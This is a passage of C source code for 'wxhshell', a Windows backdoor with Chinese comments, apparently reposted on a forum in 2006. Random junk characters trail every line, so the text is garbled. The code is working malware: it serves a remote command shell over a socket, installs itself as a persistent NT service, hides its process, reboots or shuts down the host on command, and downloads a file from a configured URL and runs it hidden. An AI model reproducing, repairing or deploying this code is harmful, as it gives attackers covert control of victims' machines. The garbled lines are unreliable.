    switch(cmd[0]) { K/Y"oQ2  
  ( 1  
  // 帮助 'J0I$-QYk  
  case '?': { XPdqE`w=$p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X!~y&[;[C  
    break; bM?29cs  
  } rrEf<A}  
  // 安装 8EJP~bt  
  case 'i': { |%|Vlu  
    if(Install()) x;:jF_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ADOA&r[  
    else u' kG(<0Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B0Z>di:  
    break; wE<r'  
    } [+W<;iep  
  // 卸载 J[uH@3v  
  case 'r': { N}#"o  
    if(Uninstall()) icIWv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C .B=E"e  
    else x)eF{%QB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /%jX=S.5h<  
    break; ;K>'Gl  
    } H{i|?a)  
  // 显示 wxhshell 所在路径 U}Puq5[ ?  
  case 'p': { pZ*%zt]-a  
    char svExeFile[MAX_PATH]; h:G>w`X  
    strcpy(svExeFile,"\n\r"); C,mfA%63  
      strcat(svExeFile,ExeFile); ..BP-N)V)  
        send(wsh,svExeFile,strlen(svExeFile),0); 3HcduJntl  
    break; ,gG RCp  
    } 8_Uh h5[  
  // 重启 m:0[as=  
  case 'b': { 9(!AKKrr;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hP.Km%C)0n  
    if(Boot(REBOOT)) s3@mk\?qMe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P4{~fh(  
    else { E8nj_ ^Z  
    closesocket(wsh); b+arnKo1fk  
    ExitThread(0); .I#_~C'\  
    } iWA?FBv  
    break; gxUa -R  
    } GNrRc3dr$  
  // 关机 l. cp[  
  case 'd': { B6Ajcfy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2T?Y  
    if(Boot(SHUTDOWN)) T fIOS]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Pjitw/?  
    else { a-F I`Dv  
    closesocket(wsh); \ %MsG  
    ExitThread(0); [YODyf}M>\  
    } :O&jm.2m  
    break; [iO8R-N8d  
    } eGpKoq7a  
  // 获取shell [\h?mlG?  
  case 's': { PP!-*~F0Jr  
    CmdShell(wsh); A X1!<K  
    closesocket(wsh); [~\]<;;\  
    ExitThread(0); 9MI9$s2y  
    break; PXtF#,roP  
  } 3X DU(#  
  // 退出 }hg2}g99  
  case 'x': { v)gMNzt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @K*W3&TO  
    CloseIt(wsh); B@dCCKc%/  
    break; ^"=G=* /  
    } 9v-Y*\!w.  
  // 离开 /~;!Ew|q  
  case 'q': { kkb+qo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J}8p}8eF,  
    closesocket(wsh); W|zPV`  
    WSACleanup(); o_k)x3I?  
    exit(1); r1vS~ 4Z  
    break; UmGKj9u  
        } Rmn{Vui9\  
  } j%bC9UkE3  
  } |7A}LA  
{=Jo!t;f  
  // 提示信息 ~QPTs1Vk8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B B69U  
} -}!mi V  
  } OX]P;#4tU  
BaIuOZ@,  
  return; s]kzXzRC?  
} c[ 0`8s!  
P,-5af*;  
// shell模块句柄 8>x' . 8  
int CmdShell(SOCKET sock) L1g0Dd\Ox  
{ w >2G@  
STARTUPINFO si; I"3C/ pU2  
ZeroMemory(&si,sizeof(si)); 6H  U*,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZADMtsk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lP]Y^Gz  
PROCESS_INFORMATION ProcessInfo; G'w!Aw s  
char cmdline[]="cmd"; ?)k ]Vg.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8c9<kGm$E  
  return 0; aL90:,V  
} M,li\)J!&  
f`/('}t  
// 自身启动模式 b30Jr2[  
int StartFromService(void) !'BXc%`x[  
{ O j:I @c  
typedef struct X9FO"(J  
{ nIfAG^?|*  
  DWORD ExitStatus; F |5Au>t  
  DWORD PebBaseAddress; oCI\yp@a  
  DWORD AffinityMask; ,5}w]6bCr  
  DWORD BasePriority; A9K$:mL<2  
  ULONG UniqueProcessId; ceCO*m~  
  ULONG InheritedFromUniqueProcessId; qS!N\p~>  
}   PROCESS_BASIC_INFORMATION; Pz:,de~5Qm  
lfC]!=2%~8  
PROCNTQSIP NtQueryInformationProcess; ?(K=du  
4`:POu&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wJq$yqos{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Tt{z_gU6  
</xf4.C  
  HANDLE             hProcess; R@tEC)Zn  
  PROCESS_BASIC_INFORMATION pbi; "gm5 DE  
m9:ah<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SvvNk  
  if(NULL == hInst ) return 0; w <"mS*Q  
?vAhDD5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eQ8t.~5;-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dlCYdwP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i}v.x  
oS9Od8  
  if (!NtQueryInformationProcess) return 0; ZxT E(BQv  
BQg3+w:>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &V (6N%A^U  
  if(!hProcess) return 0; vS0 ii  
mR XR uK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x`@`y7(  
$)o0{HsL+  
  CloseHandle(hProcess); Mz2TwU_  
.RFH@''  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >8OY6wb  
if(hProcess==NULL) return 0; 5.&)hmpg  
y1PyH  
HMODULE hMod; G'-#99wv.  
char procName[255]; HZ Wt>f  
unsigned long cbNeeded; D^.  c:  
a*.#Zgy:lK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `\\s%}vZ*T  
qA`@~\ qh"  
  CloseHandle(hProcess); \6?a  
L;j++^p  
if(strstr(procName,"services")) return 1; // 以服务启动 KT<$E!@  
h{ix$Xn~  
  return 0; // 注册表启动 @d 7V@F0d  
} Z/?{{}H+  
\( {'Xo >(  
// 主模块 U1) Zh-aR  
int StartWxhshell(LPSTR lpCmdLine) OM\1TD/-  
{ S-gO  
  SOCKET wsl; {dpDQP +!  
BOOL val=TRUE; sHk>ek]2I  
  int port=0; jTt9;?)  
  struct sockaddr_in door; 0!lWxS0#=  
QOg >|"KL  
  if(wscfg.ws_autoins) Install(); `m<O!I"A  
3Zd,"/RH  
port=atoi(lpCmdLine); zN[& iKf  
,z/aT6M?H  
if(port<=0) port=wscfg.ws_port; E/%"%&`8j  
w@cW`PlF  
  WSADATA data; v]F4o1ckk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t4v'X}7q]  
Q#SQ@oUzD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $>O~7Nfst7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !R\FCAW[x  
  door.sin_family = AF_INET; lbIPtu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XJ3sqcS  
  door.sin_port = htons(port); .|R4E  
N\|z{vn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ] T]{VB  
closesocket(wsl); ^&1O:G*"  
return 1; |H_WY#  
} n^ fUKi*;  
N=2T~M 1  
  if(listen(wsl,2) == INVALID_SOCKET) { C,l,fT  
closesocket(wsl); =tt3nfZ9  
return 1; q: FhuOP  
} FV "pJ  
  Wxhshell(wsl); 4FRi=d;mP  
  WSACleanup(); ~,1Sw7 rE  
R`a~8QVh&5  
return 0; ([< HFc`  
$B%KkD  
} Ta?}n^V?;  
N2A6C$s  
// 以NT服务方式启动 '0q$qN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *qO) MpG{  
{ Nv36#^Z  
DWORD   status = 0; iD_y@+iz  
  DWORD   specificError = 0xfffffff; Yr-SlO>  
Ri"hU/H{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lN g){3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6 V0Ayxg7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |3,WiK='  
  serviceStatus.dwWin32ExitCode     = 0; pIcg+~  
  serviceStatus.dwServiceSpecificExitCode = 0; 4y7_P0}:B  
  serviceStatus.dwCheckPoint       = 0; jmr .gW  
  serviceStatus.dwWaitHint       = 0; .UL 2(0  
>iOf3I-ATt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <nbk lo  
  if (hServiceStatusHandle==0) return; EyPJ Jc8  
V2T% tn;rp  
status = GetLastError(); JXU ?'@QY  
  if (status!=NO_ERROR) ,k4pW&A  
{ oxc;DfJ_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PJN9[Y{^3  
    serviceStatus.dwCheckPoint       = 0; B1nm?E 0i  
    serviceStatus.dwWaitHint       = 0; C&w0HoF  
    serviceStatus.dwWin32ExitCode     = status; &F~d~;G"q  
    serviceStatus.dwServiceSpecificExitCode = specificError; o(jLirnk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [%dsq`b#  
    return; fS4W*P[B3  
  } sS}:Od  
aHW34e@ebL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \~,\|  
  serviceStatus.dwCheckPoint       = 0; *%KIq/V  
  serviceStatus.dwWaitHint       = 0; C'$}{%Cc@$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'A:Y&w"r  
} :\"0jQ.y|  
G'/G DN^j  
// 处理NT服务事件,比如:启动、停止 +M I{B="7.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4DCh+|r  
{ nahq O|~  
switch(fdwControl) 8~C}0H  
{ }bS1M  
case SERVICE_CONTROL_STOP: d0I s|Gs  
  serviceStatus.dwWin32ExitCode = 0; p)/e;q^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /)_4QSz7  
  serviceStatus.dwCheckPoint   = 0; 08nh y[  
  serviceStatus.dwWaitHint     = 0; ,R`CAf%*  
  { "73y}'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C+s/KA%  
  } X#$ oV#  
  return; %(eQ1ir+  
case SERVICE_CONTROL_PAUSE: :gwmk9LZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oa"Bpi9i  
  break; I &iyj 99n  
case SERVICE_CONTROL_CONTINUE: $oQOOa@;i)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J2VPOn  
  break; ;`7~Q  
case SERVICE_CONTROL_INTERROGATE: h76j|1gI  
  break; 9t\14tVwx  
}; o-RZwufZ`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [y`G p#  
} iptA#<Yj  
L!Y|`P#Yr  
// 标准应用程序主函数 Ln,<|,fZN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X^eyrqv  
{ Ljz)%y[s  
2T2<I/")O  
// 获取操作系统版本 G^)]FwTs  
OsIsNt=GetOsVer(); a^J(TW/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]C,j80+pK  
%;QK5L   
  // 从命令行安装 Hl8-q!  
  if(strpbrk(lpCmdLine,"iI")) Install(); ' /HShS!d  
yg}O9!MJ  
  // 下载执行文件 ct-Bq  
if(wscfg.ws_downexe) { YM_[   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _9lMa 7i  
  WinExec(wscfg.ws_filenam,SW_HIDE); {"Sv~L|J;  
} \UK}B  
5\quh2Q_  
if(!OsIsNt) { Ro2V-6 /  
// 如果时win9x,隐藏进程并且设置为注册表启动 PM84Z@Y  
HideProc(); Jl\xE`-7  
StartWxhshell(lpCmdLine); X2A k  
} Fw&ImRMk  
else PdO"e  
  if(StartFromService()) qA7,txQ:  
  // 以服务方式启动 L%v@|COQ3  
  StartServiceCtrlDispatcher(DispatchTable); ]j7`3%4uK  
else qLL rR,:  
  // 普通方式启动  <Y"RsW9  
  StartWxhshell(lpCmdLine); F(`|-E"E;  
wGLMLbj5  
return 0; <T[LugI  
}
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只看该作者 1 发表于: 2006-10-10
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